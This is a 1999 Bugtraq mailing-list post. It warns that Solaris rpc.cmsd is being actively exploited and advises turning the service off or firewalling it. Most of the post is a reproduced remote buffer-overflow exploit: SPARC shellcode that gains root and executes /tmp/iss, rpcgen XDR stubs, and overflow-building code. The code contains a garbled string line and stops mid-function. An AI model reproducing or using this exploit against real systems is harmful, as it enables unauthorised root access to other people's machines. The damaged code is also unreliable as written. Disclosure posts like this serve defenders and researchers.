Bugtraq mailing list archives

Re: Exploit of rpc.cmsd


From: aleph1 () UNDERGROUND ORG (Aleph One)
Date: Tue, 13 Jul 1999 15:24:52 -0700


Several exploits for rpc.cmsd seems to be floating around. This
vulnerability is being actively exploited. The vulnerability
is known to exist at least in Solaris 7, possibly in earlier
versions.

Sun patch 107022-02 does not fix the vulnerability. Sun
has been informed and they are working on a patch. Should be
fixed in 107022-03.

If you have this service running turn it off. If you cannot turn
it off for some reason firewall the machine if possible.

I've gotten my hands on the following exploit:

/*
 *
 * cmsd warez
 *
 * executes /tmp/iss
 *
 * gcc -o c c.c -lrpcsvc -lnsl -lsocket
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <arpa/inet.h>

char c0de[]=
"\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x8d"  /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - seteuid(0); */
"\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x17"  /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - setuid(0); */
"\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6 */
"\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
"\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7 */
"\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
"\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
"\x92\x03\xa0\x0c"  /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
"\x94\x1a\x80\x0a"  /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
"\x9c\x03\xa0\x14"  /* add %sp, 0x14, %sp - (0x14==20) give space */
"\xec\x3b\xbf\xec"  /* std  %l6, [ %sp + -20 ] - store "/tmp/iss" */
"\xc0\x23\xbf\xf4"  /* clr [ %sp + -12 ] - null term "/tmp/iss" */
"\xdc\x23\xbf\xf8"  /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
"\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ] - null term ptr array (argv) */
"\x82\x10\x20\x3b"  /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
"\x90\x1b\xc0\x0f"  /* xor %o7, %o7, %o0 - 0 in o0 */
"\x82\x10\x20\x01"  /* mov 1, %g1 - 1==SYS_exit in g1 */
"\x91\xd0\x20\x08"; /* ta 8 - exit(0) */

#define X_OFFSET  5500
#define RW_OFFSET 800
#define NOPS      700
#define ALIGN     (2000+sizeof(unsigned long)*7)
#define REG_W_SIZ 64
#define PRE_RET   (REG_W_SIZ-3*sizeof(unsigned long))
#define OFBUFSIZ  (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))

char cname[] = "char cname[] = "root@ISS";

/* ----- rpcgen ----- */

/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#ifndef _RTABLE4_H_RPCGEN
#define _RTABLE4_H_RPCGEN

#include <rpc/rpc.h>

typedef char *Buffer;

enum Transaction {
        add = 0,
        cm_remove = 1
};
typedef enum Transaction Transaction;

enum Interval {
        single = 0,
        daily = 1,
        weekly = 2,
        biweekly = 3,
        monthly = 4,
        yearly = 5,
        nthWeekday = 6,
        everyNthDay = 7,
        everyNthWeek = 8,
        everyNthMonth = 9,
        otherPeriod = 10,
        monThruFri = 11,
        monWedFri = 12,
        tueThur = 13,
        daysOfWeek = 14
};
typedef enum Interval Interval;

struct Period {
        Interval period;
        int nth;
        long enddate;
};
typedef struct Period Period;

enum Event_Type {
        appointment = 0,
        reminder = 1,
        otherTag = 2,
        holiday = 3,
        toDo = 4
};
typedef enum Event_Type Event_Type;

enum Options {
        do_all = 0,
        do_one = 1,
        do_forward = 2
};
typedef enum Options Options;

struct Tag {
        Event_Type tag;
        int showtime;
        struct Tag *next;
};
typedef struct Tag Tag;

enum Privacy_Level {
        public = 0,
        private = 1,
        semiprivate = 2
};
typedef enum Privacy_Level Privacy_Level;

struct Attribute {
        struct Attribute *next;
        Buffer attr;
        Buffer value;
        Buffer clientdata;
};
typedef struct Attribute Attribute;

typedef Attribute *Attr;

struct Except {
        int ordinal;
        struct Except *next;
};
typedef struct Except Except;

typedef Except *Exception;

struct Id {
        long tick;
        long key;
};
typedef struct Id Id;

struct Uid {
        struct Id appt_id;
        struct Uid *next;
};
typedef struct Uid Uid;

enum Appt_Status {
        active = 0,
        pendingAdd = 1,
        pendingDelete = 2,
        committed = 3,
        cancelled = 4,
        completed = 5
};
typedef enum Appt_Status Appt_Status;

struct Appt {
        struct Id appt_id;
        struct Tag *tag;
        int duration;
        int ntimes;
        Buffer what;
        struct Period period;
        Buffer author;
        Buffer client_data;
        struct Except *exception;
        struct Attribute *attr;
        Appt_Status appt_status;
        Privacy_Level privacy;
        struct Appt *next;
};
typedef struct Appt Appt;

struct Abb_Appt {
        struct Id appt_id;
        struct Tag *tag;
        Buffer what;
        int duration;
        struct Period period;
        struct Abb_Appt *next;
        Appt_Status appt_status;
        Privacy_Level privacy;
};
typedef struct Abb_Appt Abb_Appt;

struct Apptid {
        struct Id *oid;
        struct Appt *new_appt;
        Options option;
};
typedef struct Apptid Apptid;

struct Reminder {
        struct Id appt_id;
        long tick;
        Attribute attr;
        struct Reminder *next;
};
typedef struct Reminder Reminder;

enum Table_Res_Type {
        AP = 0,
        RM = 1,
        AB = 2,
        ID = 3
};
typedef enum Table_Res_Type Table_Res_Type;

struct Table_Res_List {
        Table_Res_Type tag;
        union {
                Appt *a;
                Reminder *r;
                Abb_Appt *b;
                Uid *i;
        } Table_Res_List_u;
};
typedef struct Table_Res_List Table_Res_List;

enum Access_Status {
        access_ok = 0,
        access_added = 1,
        access_removed = 2,
        access_failed = 3,
        access_exists = 4,
        access_partial = 5,
        access_other = 6,
        access_notable = 7,
        access_notsupported = 8,
        access_incomplete = 9
};
typedef enum Access_Status Access_Status;

struct Table_Res {
        Access_Status status;
        Table_Res_List res;
};
typedef struct Table_Res Table_Res;
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"   /* special user */

struct Access_Entry {
        Buffer who;
        int access_type;
        struct Access_Entry *next;
};
typedef struct Access_Entry Access_Entry;

struct Access_Args {
        Buffer target;
        Access_Entry *access_list;
};
typedef struct Access_Args Access_Args;

struct Range {
        long key1;
        long key2;
        struct Range *next;
};
typedef struct Range Range;

struct Keyrange {
        long key;
        long tick1;
        long tick2;
        struct Keyrange *next;
};
typedef struct Keyrange Keyrange;

struct Uidopt {
        struct Id appt_id;
        Options option;
        struct Uidopt *next;
};
typedef struct Uidopt Uidopt;

enum Table_Args_Type {
        TICK_4 = 0,
        APPTID = 1,
        UID = 2,
        APPT = 3,
        RANGE = 4,
        KEYRANGE = 5,
        UIDOPT = 6
};
typedef enum Table_Args_Type Table_Args_Type;

struct Args {
        Table_Args_Type tag;
        union {
                long tick;
                Apptid apptid;
                Uid *key;
                Appt *appt;
                Range *range;
                Keyrange *keyrange;
                Uidopt *uidopt;
        } Args_u;
};
typedef struct Args Args;

struct Table_Args {
        Buffer target;
        Args args;
        int pid;
};
typedef struct Table_Args Table_Args;

struct Registration {
        Buffer target;
        u_long prognum;
        u_long versnum;
        u_long procnum;
        struct Registration *next;
        int pid;
};
typedef struct Registration Registration;

struct Table_Op_Args {
        Buffer target;
        Buffer new_target;
};
typedef struct Table_Op_Args Table_Op_Args;

enum Table_Status {
        ok = 0,
        duplicate = 1,
        badtable = 2,
        notable = 3,
        denied = 4,
        other = 5,
        tbl_not_owner = 6,
        tbl_exist = 7,
        tbl_notsupported = 8
};
typedef enum Table_Status Table_Status;

enum Registration_Status {
        registered = 0,
        failed = 1,
        deregistered = 2,
        confused = 3,
        reg_notable = 4
};
typedef enum Registration_Status Registration_Status;

/*
 * rtable_delete and rtable_change take over the functionality of
 * rtable_delete_instance and rtable_change_instance repectively.
 * rtable_delete_instance and rtable_change_instance are now dummy
 * routines exist for backward compatibility purpose and return
 * access_notsupported.
 */

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

#define TABLEPROG ((unsigned long)(100068))
#define TABLEVERS ((unsigned long)(4))
#define rtable_ping ((unsigned long)(0))
extern  void * rtable_ping_4();
#define rtable_lookup ((unsigned long)(1))
extern  Table_Res * rtable_lookup_4();
#define rtable_lookup_next_larger ((unsigned long)(2))
extern  Table_Res * rtable_lookup_next_larger_4();
#define rtable_lookup_next_smaller ((unsigned long)(3))
extern  Table_Res * rtable_lookup_next_smaller_4();
#define rtable_lookup_range ((unsigned long)(4))
extern  Table_Res * rtable_lookup_range_4();
#define rtable_abbreviated_lookup_range ((unsigned long)(5))
extern  Table_Res * rtable_abbreviated_lookup_range_4();
#define rtable_insert ((unsigned long)(6))
extern  Table_Res * rtable_insert_4();
#define rtable_delete ((unsigned long)(7))
extern  Table_Res * rtable_delete_4();
#define rtable_delete_instance ((unsigned long)(8))
extern  Table_Res * rtable_delete_instance_4();
#define rtable_change ((unsigned long)(9))
extern  Table_Res * rtable_change_4();
#define rtable_change_instance ((unsigned long)(10))
extern  Table_Res * rtable_change_instance_4();
#define rtable_lookup_next_reminder ((unsigned long)(11))
extern  Table_Res * rtable_lookup_next_reminder_4();
#define rtable_check ((unsigned long)(12))
extern  Table_Status * rtable_check_4();
#define rtable_flush_table ((unsigned long)(13))
extern  Table_Status * rtable_flush_table_4();
#define rtable_size ((unsigned long)(14))
extern  int * rtable_size_4();
#define register_callback ((unsigned long)(15))
extern  Registration_Status * register_callback_4();
#define deregister_callback ((unsigned long)(16))
extern  Registration_Status * deregister_callback_4();
#define rtable_set_access ((unsigned long)(17))
extern  Access_Status * rtable_set_access_4();
#define rtable_get_access ((unsigned long)(18))
extern  Access_Args * rtable_get_access_4();
#define rtable_abbreviated_lookup_key_range ((unsigned long)(19))
extern  Table_Res * rtable_abbreviated_lookup_key_range_4();
#define rtable_gmtoff ((unsigned long)(20))
extern  long * rtable_gmtoff_4();
#define rtable_create ((unsigned long)(21))
extern  Table_Status * rtable_create_4();
#define rtable_remove ((unsigned long)(22))
extern  Table_Status * rtable_remove_4();
#define rtable_rename ((unsigned long)(23))
extern  Table_Status * rtable_rename_4();
extern int tableprog_4_freeresult();

/* the xdr functions */
extern bool_t xdr_Buffer();
extern bool_t xdr_Transaction();
extern bool_t xdr_Interval();
extern bool_t xdr_Period();
extern bool_t xdr_Event_Type();
extern bool_t xdr_Options();
extern bool_t xdr_Tag();
extern bool_t xdr_Privacy_Level();
extern bool_t xdr_Attribute();
extern bool_t xdr_Attr();
extern bool_t xdr_Except();
extern bool_t xdr_Exception();
extern bool_t xdr_Id();
extern bool_t xdr_Uid();
extern bool_t xdr_Appt_Status();
extern bool_t xdr_Appt();
extern bool_t xdr_Abb_Appt();
extern bool_t xdr_Apptid();
extern bool_t xdr_Reminder();
extern bool_t xdr_Table_Res_Type();
extern bool_t xdr_Table_Res_List();
extern bool_t xdr_Access_Status();
extern bool_t xdr_Table_Res();
extern bool_t xdr_Access_Entry();
extern bool_t xdr_Access_Args();
extern bool_t xdr_Range();
extern bool_t xdr_Keyrange();
extern bool_t xdr_Uidopt();
extern bool_t xdr_Table_Args_Type();
extern bool_t xdr_Args();
extern bool_t xdr_Table_Args();
extern bool_t xdr_Registration();
extern bool_t xdr_Table_Op_Args();
extern bool_t xdr_Table_Status();
extern bool_t xdr_Registration_Status();

#endif /* !_RTABLE4_H_RPCGEN */

/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

bool_t
xdr_Buffer(xdrs, objp)
        register XDR *xdrs;
        Buffer *objp;
{

        register long *buf;

        if (!xdr_string(xdrs, objp, ~0))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Transaction(xdrs, objp)
        register XDR *xdrs;
        Transaction *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Interval(xdrs, objp)
        register XDR *xdrs;
        Interval *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Period(xdrs, objp)
        register XDR *xdrs;
        Period *objp;
{

        register long *buf;

        if (!xdr_Interval(xdrs, &objp->period))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->nth))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->enddate))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Event_Type(xdrs, objp)
        register XDR *xdrs;
        Event_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Options(xdrs, objp)
        register XDR *xdrs;
        Options *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Tag(xdrs, objp)
        register XDR *xdrs;
        Tag *objp;
{

        register long *buf;

        if (!xdr_Event_Type(xdrs, &objp->tag))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->showtime))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Privacy_Level(xdrs, objp)
        register XDR *xdrs;
        Privacy_Level *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Attribute(xdrs, objp)
        register XDR *xdrs;
        Attribute *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->attr))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->value))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->clientdata))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Attr(xdrs, objp)
        register XDR *xdrs;
        Attr *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Except(xdrs, objp)
        register XDR *xdrs;
        Except *objp;
{

        register long *buf;

        if (!xdr_int(xdrs, &objp->ordinal))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Exception(xdrs, objp)
        register XDR *xdrs;
        Exception *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Id(xdrs, objp)
        register XDR *xdrs;
        Id *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->tick))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->key))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Uid(xdrs, objp)
        register XDR *xdrs;
        Uid *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Appt_Status(xdrs, objp)
        register XDR *xdrs;
        Appt_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Appt(xdrs, objp)
        register XDR *xdrs;
        Appt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->duration))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->ntimes))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->what))
                return (FALSE);
        if (!xdr_Period(xdrs, &objp->period))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->author))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->client_data))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
                return (FALSE);
        if (!xdr_Appt_Status(xdrs, &objp->appt_status))
                return (FALSE);
        if (!xdr_Privacy_Level(xdrs, &objp->privacy))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Abb_Appt(xdrs, objp)
        register XDR *xdrs;
        Abb_Appt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->what))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->duration))
                return (FALSE);
        if (!xdr_Period(xdrs, &objp->period))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
                return (FALSE);
        if (!xdr_Appt_Status(xdrs, &objp->appt_status))
                return (FALSE);
        if (!xdr_Privacy_Level(xdrs, &objp->privacy))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Apptid(xdrs, objp)
        register XDR *xdrs;
        Apptid *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
                return (FALSE);
        if (!xdr_Options(xdrs, &objp->option))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Reminder(xdrs, objp)
        register XDR *xdrs;
        Reminder *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->tick))
                return (FALSE);
        if (!xdr_Attribute(xdrs, &objp->attr))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res_Type(xdrs, objp)
        register XDR *xdrs;
        Table_Res_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res_List(xdrs, objp)
        register XDR *xdrs;
        Table_Res_List *objp;
{

        register long *buf;

        if (!xdr_Table_Res_Type(xdrs, &objp->tag))
                return (FALSE);
        switch (objp->tag) {
        case AP:
                if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt))
                        return (FALSE);
                break;
        case RM:
                if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
                        return (FALSE);
                break;
        case AB:
                if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
                        return (FALSE);
                break;
        case ID:
                if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid))
                        return (FALSE);
                break;
        }
        return (TRUE);
}

bool_t
xdr_Access_Status(xdrs, objp)
        register XDR *xdrs;
        Access_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res(xdrs, objp)
        register XDR *xdrs;
        Table_Res *objp;
{

        register long *buf;

        if (!xdr_Access_Status(xdrs, &objp->status))
                return (FALSE);
        if (!xdr_Table_Res_List(xdrs, &objp->res))
                return (FALSE);
        return (TRUE);
}
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"   /* special user */

bool_t
xdr_Access_Entry(xdrs, objp)
        register XDR *xdrs;
        Access_Entry *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->who))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->access_type))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Access_Args(xdrs, objp)
        register XDR *xdrs;
        Access_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Range(xdrs, objp)
        register XDR *xdrs;
        Range *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->key1))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->key2))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Keyrange(xdrs, objp)
        register XDR *xdrs;
        Keyrange *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->key))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->tick1))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->tick2))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Uidopt(xdrs, objp)
        register XDR *xdrs;
        Uidopt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_Options(xdrs, &objp->option))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Args_Type(xdrs, objp)
        register XDR *xdrs;
        Table_Args_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Args(xdrs, objp)
        register XDR *xdrs;
        Args *objp;
{

        register long *buf;

        if (!xdr_Table_Args_Type(xdrs, &objp->tag))
                return (FALSE);
        switch (objp->tag) {
        case TICK_4:
                if (!xdr_long(xdrs, &objp->Args_u.tick))
                        return (FALSE);
                break;
        case APPTID:
                if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
                        return (FALSE);
                break;
        case UID:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid))
                        return (FALSE);
                break;
        case APPT:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
                        return (FALSE);
                break;
        case RANGE:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range))
                        return (FALSE);
                break;
        case KEYRANGE:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
                        return (FALSE);
                break;
        case UIDOPT:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
                        return (FALSE);
                break;
        default:
                return (FALSE);
        }
        return (TRUE);
}

bool_t
xdr_Table_Args(xdrs, objp)
        register XDR *xdrs;
        Table_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
                return (FALSE);
        if (!xdr_Args(xdrs, &objp->args))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->pid))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Registration(xdrs, objp)
        register XDR *xdrs;
        Registration *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
                return (FALSE);
        if (!xdr_u_long(xdrs, &objp->prognum))
                return (FALSE);
        if (!xdr_u_long(xdrs, &objp->versnum))
                return (FALSE);
        if (!xdr_u_long(xdrs, &objp->procnum))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->pid))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Op_Args(xdrs, objp)
        register XDR *xdrs;
        Table_Op_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->new_target))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Status(xdrs, objp)
        register XDR *xdrs;
        Table_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Registration_Status(xdrs, objp)
        register XDR *xdrs;
        Registration_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

/*
 * rtable_delete and rtable_change take over the functionality of
 * rtable_delete_instance and rtable_change_instance repectively.
 * rtable_delete_instance and rtable_change_instance are now dummy
 * routines exist for backward compatibility purpose and return
 * access_notsupported.
 */

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

/* ----- rpcgen ----- */

unsigned long resolve(char *host)
{
  long i;
  struct hostent *he;

  if((i=inet_addr(host))==(-1))
    if(!(he=gethostbyname(host)))
      return(0);
    else
      return(*(unsigned long *)he->h_addr);

  return(i);
}

int main(int argc, char *argv[])
{
  char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
  struct sockaddr_in sin;
  struct timeval tv;
  Table_Op_Args toa;
  Table_Status ts;
  Table_Args ta;
  Table_Res tr;
  Appt ap;
  int sock;
  unsigned long *ptr;
  CLIENT *c;

  if(argc!=2)
    {
      (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
      exit(-1);
    }

  (void)memset(&sin,0,sizeof(sin));
  sin.sin_family = AF_INET;

  if(!(sin.sin_addr.s_addr=resolve(argv[1])))
    {
      (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
      exit(-1);
    }

  (void)memset(&tv,0,sizeof(tv));
  tv.tv_sec = 7;

  sock = RPC_ANYSOCK;
  if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
    {
      (void)clnt_pcreateerror(argv[0]);
      exit(1);
    }
  c->cl_auth = authunix_create(argv[1],0,0,0,0);

  (void)memset(&toa,0,sizeof(toa));
  toa.target = cname;

  (void)memset(&ts,0,sizeof(ts));

  if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
               xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
    {
      (void)clnt_perror(c,"error: rtable_create");
      exit(-1);
    }

  (void)memset(abuf,0xff,sizeof(abuf));
  abuf[sizeof(abuf)-1] = 0;

  for(ptr=(unsigned long *)obuf;
      ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long)));
      ptr++)
    *ptr = *(unsigned long *)c0de;

  (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

  ptr += ((sizeof(c0de)/sizeof(unsigned long))-1);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++)
    *ptr = (0xeffffff0-RW_OFFSET);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++)
    *ptr = (0xeffffff0-X_OFFSET);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++)
    *ptr = *(unsigned long *)c0de;

